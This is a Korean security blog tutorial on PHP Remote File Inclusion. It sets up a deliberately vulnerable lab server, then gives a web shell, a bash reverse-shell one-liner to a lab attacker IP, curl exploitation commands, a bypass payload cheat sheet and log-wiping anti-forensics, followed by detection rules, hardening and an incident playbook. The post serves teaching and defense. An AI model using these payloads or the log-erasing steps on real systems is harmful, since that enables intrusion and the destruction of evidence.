본문 바로가기
보안 기술/웹 & 시스템 해킹

Remote File Inclusion (RFI)

주석 위아래의 엔터는 삭제 금지. -->

Remote File Inclusion (RFI) 심층 분석 및 실무 가이드

📌 핵심 요약 (TL;DR)

  • 본질: 애플리케이션(주로 PHP)이 동적 파일 포함 함수 사용 시 사용자 입력값을 검증하지 않아, 외부(원격) 서버에 호스팅된 악성 스크립트를 로드하고 실행하게 만드는 서버 사이드 취약점
  • 위협 및 목적: 단 한 줄의 악성 파일 로딩만으로 타겟 시스템에 대한 즉각적인 원격 코드 실행(RCE) 및 완전한 제어권 탈취(Reverse Shell) 가능
  • 대응 방안: 런타임 환경 설정(`allow_url_include = Off`) 하드닝, 소스코드 레벨의 입력값 화이트리스트 검증, 그리고 웹 서버 아웃바운드(Egress) 트래픽 원천 통제

목차 (Table of Contents)


⚠️ 법적 면책 조항 (Disclaimer)

본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(개인 VM 및 합법적 모의해킹 계약 범위)에서만 수행되었습니다. 허가되지 않은 타인의 시스템에 대한 무단 접근, 스캐닝 및 페이로드 주입 시도는 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제48조 위반으로 강력한 형사처벌 대상입니다. 모든 분석은 벤더사 공식 레퍼런스 및 NVD 공인 데이터를 기반으로 학술적 목적을 위해 작성되었습니다.

1. 아키텍처 및 랩(Lab) 토폴로지

  • 난이도: 중급 (Intermediate)
  • 주제 분류: 웹 보안 / 인프라 구축 / 로그 분석
  • 핵심 키워드: #RFI #WebSecurity #PHP_Vulnerability #RCE
  • 사전 지식: PHP 동작 구조, HTTP 프로토콜, 리눅스 시스템 아키텍처, 리버스 쉘 메커니즘

💡 Tip: 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인하세요.

구분 OS / 플랫폼 (버전 필수) 컨테이너 / 인프라 환경 IP 대역 인프라 내 역할
공격 (Red) Kali Linux 2026.x Native VM 10.0.0.50/24 악성 페이로드(PHP) 호스팅 및 C2 리스너 대기
타겟 (Target) Ubuntu 22.04 LTS Apache 2.4 / PHP 7.x 10.0.0.100/24 allow_url_include=On 설정된 취약한 웹 서버
방어 (Blue) Graylog 5.x / OPNsense 온프레미스 망분리 구성 10.0.0.200/24 아웃바운드 트래픽 통제 및 웹 엑세스 로그 수집

[실전 아키텍처 토폴로지]

graph TD A[Attacker : 10.0.0.50] -->|1. Inject RFI Payload HTTP GET| B(Target Web Server : 10.0.0.100) B -->|2. Request Malicious File HTTP| C[Attacker File Server : 10.0.0.50:80] C -->|3. Return shell.txt| B B -->|4. Execute Payload & Connect Back| A B -->|5. Access Log Generated| D[(SIEM / Graylog)] style A fill:#ffcccc,stroke:#ff0000 style B fill:#e6f3ff,stroke:#0066cc style C fill:#ffcccc,stroke:#ff0000 style D fill:#c1f0c1,stroke:#00b300

그림 1: RFI 공격 아키텍처 및 통신 토폴로지


2. 핵심 개념 및 기술적 정의

2-1. 상세 정의 및 동작 메커니즘 전수 나열

  • 정의 1 (학술적): 동적으로 파일 경로나 URL을 생성하는 서버 사이드 스크립트에서 외부 도메인 접근을 허용할 때, 사용자가 제어할 수 있는 파라미터가 검증 없이 포함(Include) 함수에 전달되어 발생하는 파일 참조 보안 결함입니다.
  • 정의 2 (실무적): 게시판 스킨 변경이나 다국어 지원 등을 위해 파라미터로 파일명을 받는 웹 애플리케이션을 속여, 공격자 서버의 악성 코드를 타겟 서버의 메모리로 끌어와 즉각적으로 RCE를 달성하는 공격입니다.
  • 탄생 배경 1 (레거시): 초기 웹 환경에서는 코드의 재사용성을 높이기 위해 외부 리소스를 실시간으로 동적 로딩하는 구조가 흔했으며, 이에 대한 보안 인식이 부족했습니다.
  • 탄생 배경 2 (모던): 최신 프레임워크는 라우터(Router)와 컨트롤러(Controller)를 통해 정적 맵핑을 수행하여 이 구조적 문제를 해결했으나, 레거시 PHP 환경(allow_url_include 활성화)에서는 여전히 치명적입니다.
  • 인프라 내 역할: 주로 L7(애플리케이션 계층)의 WAS(Web Application Server) 로직상에서 발생하며, 통신은 HTTP/FTP 프로토콜을 통해 이루어집니다.
  • 메커니즘 단계 1 (Handshake): 공격자가 취약한 파라미터(?page=)에 자신이 구축한 파일 서버의 URL(http://attacker.com/shell.txt)을 삽입하여 GET/POST 요청을 전송합니다.
  • 메커니즘 단계 2 (Parsing): 취약한 WAS는 입력값을 필터링 없이 include($page) 함수에 전달합니다.
  • 메커니즘 단계 3 (Execution): 웹 서버는 스스로 아웃바운드(Outbound) 통신을 개시하여 공격자 서버의 텍스트 파일을 읽어오고, 이를 로컬 서버의 PHP 엔진 메모리에 올려 스크립트로 실행해 버립니다.
  • 메커니즘 단계 4 (Response & Log): 코드가 실행되면서 시스템 명령어가 수행되거나 리버스 쉘이 연결되며, 이 과정의 웹 인입 기록은 access.log에 남습니다.
  • 버전 히스토리: PHP 5.2.0 버전 이후 allow_url_include 설정의 기본값이 Off로 변경되면서 발생 빈도가 급감했으나, 미스컨피그레이션에 의해 여전히 발생합니다.

2-2. MITRE ATT&CK & Kill Chain 매핑 (Full Spectrum)

Kill Chain Phase MITRE Tactic (전술) Technique (기법) ID
Reconnaissance Reconnaissance Gather Victim Org Information: Web Resources T1589.002
Delivery Initial Access Exploit Public-Facing Application T1190
Exploitation Execution Command and Scripting Interpreter T1059
Installation Defense Evasion Obfuscated Files or Information T1027
C2 Command and Control Application Layer Protocol: Web Protocols T1071.001
Actions on Objectives Impact Data Destruction / System Shutdown T1485

3. 주요 특징 및 통신 규격 (Exhaustive Analysis)

3-1. 기술적 핵심 특징 10선

  1. 아키텍처 모델: 서버-투-서버(Server-to-Server) 아웃바운드 통신을 유발하는 구조적 특성.
  2. 지원 프로토콜: HTTP, HTTPS, FTP, SMB(Windows 환경의 경우 UNC 경로 사용).
  3. 관련 함수 (PHP): include(), include_once(), require(), require_once().
  4. 관련 함수 (JSP/ASP): <jsp:include>, Server.Execute() 등 (언어에 따라 방식 상이).
  5. 세션 및 상태 관리: 공격 성공 직후 공격자와 타겟 서버 간의 세션(Reverse Shell) 유지 필요.
  6. 선행 조건: PHP의 php.ini 설정 중 allow_url_fopen = Onallow_url_include = On 필수.
  7. 의존성 (Dependencies): 백엔드 언어의 외부 프로토콜 래퍼(Wrapper) 처리 로직에 전적으로 의존.
  8. 확장자 우회: 타겟 서버 코드에 .php가 강제 결합되는 경우, 공격자 서버에서 URL Rewrite 등을 통해 확장자 파싱 우회.
  9. 로그 파이프라인 (SIEM): 웹 로그(access.log)와 넷플로우(Netflow)를 연계한 이상 아웃바운드 탐지 핵심.
  10. 기타 보안 특이점: LFI(Local File Inclusion)와 달리 타겟 디스크에 파일을 미리 업로드할 필요가 없어 공격 속도가 매우 빠름.

3-2. 실무 관점 장단점 (5 Pros & 5 Cons)

구분 시스템 관점 특성 상세 팩트 보안 및 인프라 운영 관점의 트레이드오프
강점 1 [공격자] 로컬 디스크 업로드 과정 생략 가능 디스크 아티팩트를 남기지 않는 인메모리 성격의 타격 가능
강점 2 [공격자] 텍스트 파일(.txt) 형태로 페이로드 은닉 타겟 서버의 확장자 검증 필터링 우회 용이
강점 3 [공격자] 복잡한 익스플로잇 개발 불필요 URL 인젝션만으로 즉각적인 RCE가 가능하여 파급력이 극도로 높음
강점 4 [방어자] HTTP(S) 아웃바운드 시그니처가 매우 뚜렷함 네트워크 레벨(NIDS/방화벽)에서 Egress 탐지 및 차단 용이
강점 5 [방어자] 환경 설정(php.ini) 변경으로 원천 차단 소스코드 수정 없이도 시스템 레벨의 즉각적인 완화(Mitigation) 가능
약점 1 [공격자] 모던 프레임워크 환경에서 거의 동작 불가능 최신 인프라보다는 레거시/사내 그룹웨어 등에서만 유효한 벡터
약점 2 [공격자] allow_url_include = Off 시 공격 불능 런타임 설정 의존성이 매우 강해 범용적인 익스플로잇 불가
약점 3 [방어자] 방화벽 Egress 통제가 없으면 방어 취약 내부망에서 외부망으로 나가는 트래픽을 열어둘 경우 치명적 위험
약점 4 [방어자] URL 래퍼 필터링 누락 시 우회 용이 php://input, data:// 등 다양한 스키마 우회 기법 존재
약점 5 [방어자] 로그 변조 위험성 RCE 직후 공격자가 권한 상승을 통해 로컬 액세스 로그 삭제 가능

3-3. 서비스 포트 및 통신 규격 전체 목록

포트 프로토콜 서비스명 통신 목적 및 보안 아킬레스건
80 / 443 TCP HTTP(S) 인바운드 취약한 파라미터(?page=)를 통해 공격 페이로드가 인입되는 경로
80 / 443 TCP HTTP(S) 아웃바운드 웹 서버가 공격자의 악성 파일을 다운로드하기 위해 개시하는 외부 연결
4444 TCP 역방향 리스너 페이로드 실행 직후 웹 서버가 공격자에게 역으로 연결하는 Reverse Shell

4. 서버 인프라 및 로그 파이프라인 구축 명세

4-1. 사전 요구 사항 (Dependencies)

  • OS 환경: Ubuntu 22.04 LTS (Kernel 5.15+) / Kali Linux 2026.x
  • 의존 패키지: apache2, php, libapache2-mod-php
  • 보안 억제 해제: 실습을 위해 php.iniallow_url_include 옵션을 수동 활성화 필요

4-2. 시스템 구축 및 로그 포워딩 셋업 (Step-by-Step Complete)

💻 인프라 구축 및 검증 스크립트

# [Step 1: 취약한 웹 인프라 환경 구축 (Target Server)]
$ sudo apt update && sudo apt install -y apache2 php

# [Step 2: RFI 취약점 재현을 위한 php.ini 환경 설정 변경]
$ sudo sed -i 's/allow_url_include = Off/allow_url_include = On/' /etc/php/*/apache2/php.ini

# [Step 3: 취약한 PHP 애플리케이션 코드 작성]
$ sudo tee /var/www/html/index.php > /dev/null <<EOF <?php // 사용자 입력값 검증 누락 (RFI 취약점 발생 지점) $file="$_GET['page'];" if(isset($file)) { include($file); } else echo "Welcome. Select a page."; ?>
EOF

# [Step 4: 설정 적용을 위한 데몬 재시작]
$ sudo systemctl restart apache2

# [Step 5: 공격자 환경 (Kali) - 악성 쉘스크립트 작성 및 파이썬 웹 서버 구동]
$ echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.txt
$ cd /tmp && python3 -m http.server 80

5. 상세 명세 (명령어 / API / 프로토콜 전수 분석)

5-1. 기본 구문 및 명령어 구조 (Syntax)

📌 Syntax 표기법 (안전 파싱 모드)

  • {필수항목} : 반드시 입력해야 하는 값
  • [선택항목] : 생략 가능한 옵션 값

# RFI 페이로드 인젝션 글로벌 구조
http://{타겟_URL}/{취약한경로}.php?{파라미터}=http://{공격자_IP}/{악성스크립트.txt}

5-2. 실행 옵션 및 제어 플래그 상세 목록 (10 Core Flags)

플래그 (단축 / 전체) 동작 원리 및 매뉴얼 상세 설명 실전 명령어 예시 (Concrete Example) 실무/보안 활용 관점
-X / --request HTTP 통신 시 GET 외의 특수 메서드 강제 지정 curl -X GET http://10.0.0.100/ 파라미터가 POST 바디에 숨겨져 있을 때 활용
-d / --data POST 요청 시 바디에 페이로드 데이터 삽입 curl -d "page=http://IP/shell" URL URL 로깅을 피하기 위한 POST 인젝션 테스트
-A / --user-agent HTTP 요청의 User-Agent 헤더 스푸핑 curl -A "Googlebot" URL 기본 curl/nmap 헤더를 차단하는 단순 WAF 우회
-x / --proxy 익명 통신을 위한 프록시(Burp Suite 등) 경유 설정 curl -x http://127.0.0.1:8080 URL 공격 트래픽 로깅 및 릴레이 디버깅
-v / --verbose 통신 패킷 송수신 로그 실시간 출력 curl -v URL 302 리다이렉션 또는 500 에러 상세 원인 분석

5-3. 비대화형 명령어 조합 실전 시나리오 (5 Non-Interactive Scenarios)

조합 시나리오 및 목적 실전 명령어 완성본 (Ready-to-Use) 백그라운드 파싱 메커니즘 및 런타임 결과
[RFI 기본 타격] 원격 파일 로드 및 RCE 실행 curl "http://10.0.0.100/index.php?page=http://10.0.0.50/shell.txt&cmd=id" 타겟 서버가 shell.txt를 로드한 뒤 id 명령어 실행
[확장자 우회 1] Null Byte 인젝션을 통한 우회 curl "http://10.0.0.100/index.php?page=http://10.0.0.50/shell.txt%00" 백엔드 로직의 .php 강제 결합을 무력화
[확장자 우회 2] 파라미터 쿼리 스트링 덧붙이기 curl "http://10.0.0.100/index.php?page=http://10.0.0.50/shell.txt?" 뒤에 붙는 강제 확장자를 질의 문자열(Query)로 처리
[C2 리스너 개방] 쉘 커넥션 수신을 위한 포트 대기 nc -lvnp 4444 공격자 PC에서 리버스 쉘을 받기 위한 소켓 바인딩

5-4. DFIR: 로그 및 트래픽 탐지 포인트 (Log Analysis)

  • 접근 로그 헌팅 (Access Log): /var/log/apache2/access.log 내 URI 파라미터에 http:// 또는 ftp:// 등 명백한 외부 프로토콜 스키마가 포함된 패턴 식별.
  • 에러 로그 헌팅 (Error Log): 타겟 서버 방화벽에 의해 외부 연결이 실패했을 때, PHP Warning: include(): Failed openingConnection timed out 에러 기록 확인.
  • 네트워크 아웃바운드 (Netstat): ss -tnp 명령으로 웹 서버 데몬(www-data 소유)이 임의의 외부 IP(예: 10.0.0.50:80)와 ESTABLISHED 상태를 맺고 있는지 즉각 검사.
  • 프로세스 트리 트리깅: 웹 서비스 프로세스(apache2, nginx, php-fpm) 하위에서 /bin/sh, /bin/bash, wget, curl 등의 명령어 실행 흔적(Spawning) 헌팅.

6. 핵심 페이로드 치트시트 (Cheat Sheet)

6-1. 기법별 완성형 페이로드 전수 집합 (10 One-Liners)

공격 기법 (Vector) 완전한 실전 페이로드 원문 (One-Liner Example) 런타임 결과 및 우회 목적 서술
[Basic RFI] ?page=http://10.0.0.50/shell.txt 가장 기본적인 원격 악성 스크립트 인클루전
[Null Byte] ?page=http://10.0.0.50/shell.txt%00 로직상 뒤에 붙는 .php 등 특정 문자열 자르기
[Query String] ?page=http://10.0.0.50/shell.txt? 타겟 소스에 하드코딩된 확장자를 HTTP 인자로 넘김
[Hash Bypass] ?page=http://10.0.0.50/shell.txt# # 이후를 URL Fragment로 처리하여 후속 로직 무시
[SMB Share] ?page=\\10.0.0.50\share\shell.php Windows 타겟의 경우 UNC 경로를 통한 SMB RFI 유도
[PHP Wrapper] ?page=php://filter/resource=http://... 필터 래퍼를 악용하여 파일 검증 우회 시도

7. 심층 킬체인 워크플로우 (Deep Dive)

7-1. 취약점 식별 (CVE / CWE 6-Points List)

식별 코드 취약점 명칭 및 익스플로잇 원리 CVSS v3.1 파급력 (Impact) 대응/패치
CWE-98 [Improper Control of Filename for Include] [System RCE] [입력값 화이트리스트 적용]
CWE-73 [External Control of File Name or Path] [파일 변조/실행] [OS 레벨 권한 분리]
CVE-2012-1823 [PHP-CGI Remote Code Execution] (RFI 연관) 9.8 (C) [System RCE] [PHP 엔진 보안 패치]

Vulnerability Deep Dive: PHP Remote File Inclusion (RFI)

  • 연관 식별자: CWE-98
  • 영향 버전: allow_url_include = On이 설정된 모든 PHP 환경
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (Critical)
  • 발생 원인 (Root Cause): 동적 파일 로딩 함수가 URI 스키마(http://)를 차단하지 않고, 사용자 입력값을 절대적 경로로 신뢰하여 해석하는 설계 결함.
  • 파급력 (Impact): 단일 HTTP GET 요청만으로 시스템 전체를 장악할 수 있는 완전한 RCE(Remote Code Execution).
  • 대응 방안 (Patch): php.ini 전역 설정 하드닝, 비즈니스 로직 재설계를 통한 동적 인클루드 배제.

7-2. 킬체인 전개 스텝 분석 (Step-by-Step)

  • 난이도: 중급 (Intermediate)
  • 전제: 타겟 서버의 allow_url_include 활성화 및 취약한 파라미터 존재.
  • 탐지 가능성: High (명백한 아웃바운드 트래픽 발생)
Phase 1 — 정찰 및 핑거프린팅 (Reconnaissance)
# 1-1. 웹 퍼징을 통한 취약 파라미터(page, file, module 등) 식별
$ ffuf -w wordlist.txt -u [http://10.0.0.100/index.php?FUZZ=test](http://10.0.0.100/index.php?FUZZ=test)
Phase 2 — 취약점 트리거 및 페이로드 딜리버리 (Exploitation)
# 2-1. 페이로드 딜리버리를 위한 공격자 파일 서버 오픈
$ python3 -m http.server 80

# 2-2. RFI 취약점 트리거 및 리버스 쉘 유도
$ curl "[http://10.0.0.100/index.php?page=http://10.0.0.50/rev.txt](http://10.0.0.100/index.php?page=http://10.0.0.50/rev.txt)"
Phase 3 — 포스트 익스플로잇 및 횡적 이동 (Post-Exploitation)
# 3-1. 쉘 획득 후 로컬 액세스 로그 즉시 삭제 (안티 포렌식/Defense Evasion)
$ echo "" > /var/log/apache2/access.log
$ history -c

7-3. 공격 타임라인 재구성 (Chronological Attack Flow)

타임스탬프 (T+) 공격자 행위 (Attacker Action) 사용 도구 / 명령어 발생 로그 및 탐지 포인트 (DFIR)
T - 00:30 타겟 웹 경로 취약점 스캐닝 (Recon) gobuster / ffuf 방화벽 404 에러 폭증 및 과다 접속 로그
T + 00:00 파라미터에 악성 URL 주입 (RFI Trigger) curl Access Log 내 page=http://10.0.0.50/...
T + 00:01 웹 서버 아웃바운드 연결 (Payload Fetch) (Target Internal Process) OPNsense 방화벽: 10.0.0.100 -> 10.0.0.50:80
T + 00:02 익스플로잇 성공 및 리버스 쉘 세션 확립 nc -lvnp www-data 계정의 4444 포트 아웃바운드 소켓

8. 실전 침투 테스트 및 로그 관제 시나리오 (Pen-Testing Lab)

📘 Scenario A: RFI 공격 주입 및 SIEM 기반 아웃바운드 탐지 연동

  • 학습 목표: 웹 서버에서 발현되는 RFI의 아웃바운드 통신 메커니즘을 이해하고 방화벽/SIEM에서 이를 추적
  • 동작 원리: 인바운드 페이로드 주입 -> 웹 데몬의 아웃바운드 페이로드 패치 -> RCE

⚔️ Red/Blue Team 교전 시나리오

# [Step 1: Red Team - 악성 쉘스크립트 작성 및 대기]
$ echo '<?php exec("/bin/bash -c \"bash -i >& /dev/tcp/10.0.0.50/4444 0>&1\""); ?>' > shell.txt
$ python3 -m http.server 80 & nc -lvnp 4444

# [Step 2: Red Team - 취약한 웹 파라미터 타격]
$ curl "[http://10.0.0.100/index.php?page=http://10.0.0.50/shell.txt](http://10.0.0.100/index.php?page=http://10.0.0.50/shell.txt)"

# [Step 3: Blue Team - Graylog에서 아웃바운드 및 접근 로그 위협 헌팅]
# Graylog Query: request:"http://*" OR request:"ftp://*"

# [Step 4: Blue Team - 침해 호스트(10.0.0.100) 네트워크 격리 및 메모리 덤프 (IR)]
$ sudo iptables -A OUTPUT -s 10.0.0.100 -j DROP # 웹 서버의 추가 아웃바운드 전면 차단

9. 트러블슈팅 및 장애 대응 (5 RCA Scenarios)

에러 로그 (Symptom) / 증상 발생 원인 (Root Cause) 해결책 (Resolution) 조치 후 검증 커맨드 (Verification)
URL file-access is disabled in server allow_url_include가 Off 상태임 php.ini 설정 변경 (실습 목적 외 절대 금지) `php -i
Failed opening 'http://...' for inclusion 타겟 서버에서 공격자 서버로 접근 불가 타겟 웹 서버의 아웃바운드 방화벽(Egress) 차단 방화벽 아웃바운드 룰셋 점검 및 핑 테스트
HTTP 500 Internal Server Error 로드한 스크립트 문법 오류 또는 권한 문제 공격자 페이로드(shell.txt)의 PHP Syntax 점검 타겟 서버의 error.log 테일링 상세 확인
Connection refused (Reverse Shell) 공격자 서버 포트 닫힘 또는 인바운드 차단 공격자 측 리스너 정상 구동 및 방화벽 점검 nc -lvnp [포트] 재가동

🛡️ Blue Team: 시스템 통제 및 방어 엔지니어링
공격자의 킬체인을 무력화하기 위한 인프라 하드닝, 시큐어 코딩 및 위협 헌팅(Threat Hunting) 체계를 정의합니다.

10. 방어 및 위협 헌팅 엔지니어링

10-1. MITRE D3FEND 매핑 (8-Points List)

방어 전술 (Tactic) 방어 기법 (Technique) 차단 원리 및 메커니즘 ID (Code)
Harden Application Configuration 웹 애플리케이션 프레임워크 설정 파일(php.ini) 엄격 통제 D3-AC
Harden Input Validation 파일 로딩 변수에 대한 화이트리스트 기반 철저한 검증 수행 D3-IAA
Detect Web Traffic Analysis WAF를 통한 HTTP GET 파라미터 내 http:// 스키마 시그니처 탐지 D3-WTA
Isolate Outbound Traffic Filtering [가장 중요] 웹 서버 자체의 아웃바운드 통신 원천 차단 (Egress) D3-OTF
Isolate Network Segmentation 웹 서버(DMZ)와 데이터베이스(Internal) 간의 논리적/물리적 격리 D3-NS
Evict Executable Removal 무결성 모니터링(FIM)을 통해 웹 경로에 드랍된 미상 파일 즉각 제거 D3-ER

10-2. 인프라 하드닝 및 시큐어 코딩 (10 Points Checklist)

  1. 환경 설정 (PHP): php.ini에서 allow_url_fopen = Offallow_url_include = Off를 강제 설정합니다.
  2. 네트워크 (L3/L4): DMZ 존의 웹 서버에서 외부 인터넷으로 향하는 모든 HTTP/FTP 아웃바운드 트래픽을 방화벽에서 Drop 합니다.
  3. 애플리케이션 (L7): 파일명이나 경로를 동적으로 받지 않도록 아키텍처를 개편하고 데이터베이스 매핑을 활용합니다.
  4. 애플리케이션 (L7): 불가피할 경우, basename() 함수를 사용하여 경로 조작을 막고 화이트리스트 배열 내의 값만 허용합니다.
  5. 접근 제어 (IAM): 아파치/엔진엑스 데몬을 최소 권한(www-data) 및 chroot 환경(Jail)으로 구동하여 타격 범위를 제한합니다.
  6. 권한 관리 (File): 웹 서버 루트(/var/www/html) 폴더 내 실행 파일 쓰기 권한을 원천 제거합니다.
  7. WAF 룰셋: 파라미터 페이로드에 http://, https://, ftp://, php:// 등의 프로토콜 래퍼가 포함될 경우 즉시 차단합니다.
  8. 무결성 보장: 공격자가 RFI로 웹 접근 로그를 지우지 못하도록 로그는 즉시 별도의 중앙 SIEM 망으로 전송(Syslog/Filebeat)합니다.

[시큐어 코딩 패치 실제 적용 가이드: RFI 방어]

🛡️ PHP: secure_include.php

# 🚨 Before (취약한 코드: 입력값을 절대 신뢰하여 외부 URL 로딩 허용)
$file = $_GET['page'];
include($file);

# 🛡️ After (안전한 코드: 화이트리스트 기반 정적 맵핑 및 파일명 고정)
$page = $_GET['page'];
$whitelist = array("home", "about", "contact");

// 1. 화이트리스트 검증 & 2. 경로 조작(Directory Traversal/RFI) 방지를 위한 파일명 강제 치환
if (in_array($page, $whitelist)) {
    include("modules/" . $page . ".php");
} else {
    include("modules/home.php");
}

10-3. IaC 기반 보안 설정 템플릿

⚙️ YAML: php-security-config.yml (Ansible)

# 방어 룰셋: 대규모 웹 팜(Web Farm) PHP 설정 일괄 하드닝 (Ansible Playbook)
- name: Hardening PHP Configuration for RFI Prevention
  hosts: webservers
  tasks:
    - name: Disable allow_url_include
      lineinfile:
        path: /etc/php/8.1/apache2/php.ini
        regexp: '^allow_url_include ='
        line: 'allow_url_include = Off'
      notify: restart apache2

10-4. 인시던트 대응 절차 (10-Step IR Playbook)

단계 대응 행동 전체 리스트 담당 목표 타임라인
1. 탐지·분류 WAF 또는 SIEM에서 외부 URL 포함 요청 알람 발생 SOC Analyst T+0
1. 탐지·분류 500 에러 또는 200 OK 여부로 공격 성공 가능성 1차 판별 SOC Analyst T+5분
2. 초동 격리 해당 웹 서버의 인바운드 차단 및 Egress 원천 통제 IR Team T+15분
2. 초동 격리 현재 메모리에 상주 중인 악성 프로세스 파악 및 덤프 Forensic Analyst T+30분
3. 증거 수집 중앙 SIEM으로 전송된 해당 시간대 로그 및 넷플로우 확보 Forensic Analyst T+1시간
4. 원인 분석 취약한 파라미터 식별 및 공격자가 로드한 외부 스크립트 획득 IR Team T+2시간
5. 제거·복구 소스코드 취약점 핫패치(화이트리스트) 및 php.ini 롤백 SysAdmin T+4시간
5. 제거·복구 백도어 생성 여부 검증 후 무결한 상태에서 서비스 재개 SysAdmin T+6시간
6. 사후 분석 RFI/LFI 통합 대응 보고서 작성 및 CISO 등 경영진 보고 IR Manager T+24시간
6. 사후 분석 웹 서버 아웃바운드 정책(Default Deny) 전사 확대 적용 Sec-Engineer T+48시간

10-5. 침해사고 분석 (DFIR) 침해지표 (8 IoCs)

IoC 유형 (Type) 지표 데이터 (Value) 연관 분석 (Context)
URI Pattern 1 ?page=http://, ?file=https:// 명시적인 RFI 공격 페이로드 시그니처
URI Pattern 2 ?page=php://filter, php://input PHP 래퍼를 활용한 확장 검증 우회 시도
Net Traffic 1 웹 서버 IP (src) -> 외부 미상 IP:80 (dst) RFI 트리거로 인한 페이로드 다운로드 아웃바운드
Net Traffic 2 웹 서버 IP (src) -> 외부 미상 IP:4444 (dst) RCE 성공 후 발생한 비정상 리버스 쉘 커넥션
Process apache2 프로세스 하위의 bash -i, nc 실행 웹 데몬 권한을 악용한 시스템 명령어 실행 증거
File Hash (웹 로그에 찍힌 외부 페이로드의 해시값) 악성 스크립트 식별 및 위협 인텔리전스 공유

10-6. 위협 헌팅 및 탐지 룰셋 (Purple Teaming)

1. Graylog / ELK SIEM 중앙 관제 — Sigma Rule

  • MITRE ATT&CK Mapping: T1190 (Exploit Public-Facing Application)

📝 YAML: sigma_rule.yml

title: Detect Remote File Inclusion (RFI) URL Patterns
status: stable
logsource:
    category: webserver
detection:
    selection:
        cs-uri-query|contains:
            - 'http://'
            - 'https://'
            - 'ftp://'
            - 'php://'
            - 'data:'
    condition: selection
level: high

10-7. 보안 점검 체크리스트 (7 Audit Items)

점검 항목 점검용 확인 명령어 (CLI) 규정된 안전 기준 (Compliance)
URL 인클루드 차단 여부 `php -i grep allow_url_include`
WAS 아웃바운드 통제 여부 ping 8.8.8.8 (웹 서버 터미널에서 실행) 외부 인터넷으로의 핑/HTTP 통신 불가 확인
파일 시스템 권한 점검 find /var/www/html -type d -perm -777 웹 루트 하위 디렉터리 내 과도한 권한 제거
입력값 정제 여부 점검 (정적 소스코드 분석 도구 활용) 사용자 입력값이 파일/경로 관련 함수에 미사용

11. 공식 레퍼런스 (References)

  • OWASP RFI 가이드: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion
  • PHP 공식 매뉴얼 (Filesystem Security): https://www.php.net/manual/en/security.filesystem.php
  • MITRE ATT&CK 기술 분석: https://attack.mitre.org/techniques/T1190/

12. 결론 및 비즈니스 임팩트 (Wrap-up)

엔지니어링 방어 철학

"웹 서버는 인터넷의 요청을 수신(Inbound)하기 위해 존재하지, 알 수 없는 외부로 접속(Outbound)하기 위해 존재하는 것이 아닙니다." RFI 취약점의 본질적인 방어는 단순히 소스코드를 고치는 것을 넘어, 서버 팜(Server Farm)의 Egress(아웃바운드) 방화벽 정책을 Default Deny로 설계하는 제로 트러스트 아키텍처에서 완성됩니다.

CISO 및 보안 관리 관점

레거시 웹 애플리케이션 하나에 존재하는 단일 결함이 기업 인프라 전체의 장악(Lateral Movement)으로 이어지는 기점이 될 수 있습니다. 시큐어 코딩 문화 정착과 더불어, WAS의 권한 분리 및 시스템 레벨의 환경 하드닝을 컴플라이언스 체크리스트에 정기적으로 반영해야 합니다.

💡 Related Posts

  • 👉 Local File Inclusion (LFI) 메커니즘과 디렉터리 트래버설 공격 기법
  • 👉 OPNsense 방화벽을 활용한 웹 서버 아웃바운드(Egress) 통제 실무
  • 👉 [프로젝트 ASSASSIN] RCE 이후 로컬 로그 변조 및 방어 회피 헌팅 기법

오류나 기술적 추가 질문은 언제든 댓글로 남겨 주세요.


Architected by Elpam.k

````

'보안 기술 > 웹 & 시스템 해킹' 카테고리의 다른 글

SQL Injection (SQLi)  (0) 2026.05.12
XSS (Cross-Site Scripting)  (0) 2026.05.12
SSTI  (0) 2026.04.08
Local File Inclusion (LFI)  (0) 2026.04.08
리버스 쉘(Reverse Shell)  (0) 2026.04.08

Discussion 1